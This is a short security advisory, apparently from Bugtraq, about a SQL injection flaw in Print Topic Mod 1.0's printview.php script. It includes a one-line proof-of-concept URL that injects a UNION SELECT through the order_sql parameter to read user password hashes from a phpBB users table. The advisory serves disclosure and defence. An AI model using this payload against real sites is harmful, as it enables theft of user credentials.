Adam Ismay Print Topic Mod SQL Injection Vulnerability

Bugtraq ID:	10757
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 19 2004 12:00AM
Updated:	Jul 19 2004 12:00AM
Credit:	Discovery is credited to Bartek Nowotarski <[email protected]>.
Vulnerable:	Adam Ismay Print Topic Mod 1.0
Not Vulnerable:

Adam Ismay Print Topic Mod SQL Injection Vulnerability

Print Topic Mod is reportedly affected by a remote SQL injection vulnerability in the 'printview.php' script. This issue is due to a failure of the application to properly sanitize user-supplied URI parameter input before using it in an SQL query.

Print Topic Mod version 1.0 is reported to be affected by this issue.

Adam Ismay Print Topic Mod SQL Injection Vulnerability

No exploit is required.

The following proof of concept is available:
http://www.example.com/printview.php?t={existing_topic's_id}&order_sql=UNION%20
SELECT%201%20,%20user_password%20,%201,%201,%201,%201,%201,%201,%201,%201,%201,
%201%20FROM%20{phpbb_users_table}%20WHERE%20user_id%20={some_user's_id}%20ORDER
%20BY%20t.topic_id%20ASC

Adam Ismay Print Topic Mod SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Adam Ismay Print Topic Mod SQL Injection Vulnerability

References: